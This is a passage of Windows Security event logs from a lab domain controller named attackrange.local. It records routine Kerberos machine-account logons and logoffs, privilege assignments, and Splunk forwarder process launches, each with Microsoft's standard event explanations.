	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:31:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255717
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x351501
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64679

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:31:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255716
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x351501

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:31:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255718
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x278
	New Process Name:	C:\Windows\System32\rundll32.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\rundll32.exe /d acproxy.dll,PerformAutochkOperations

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:31:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255719
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x351501

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:31:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255722
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3529E3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:31:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255721
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3529E3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64687

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:31:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255720
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3529E3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:32:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255728
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x352CA7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:32:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255727
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x352CA7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64690

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:32:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255726
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x352CA7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:32:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255725
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x352C3B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:32:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255724
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x352C3B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64689

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:32:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255723
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x352C3B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255740
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3534A1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255739
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3535CE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255738
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x353617

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255737
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x353693
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64695

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255736
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x353693

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255735
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x353617
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64694

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255734
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x353617

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255733
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3535CE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255732
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3535CE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255731
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3534A1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64693

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255730
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3534A1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255729
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:32:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255741
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

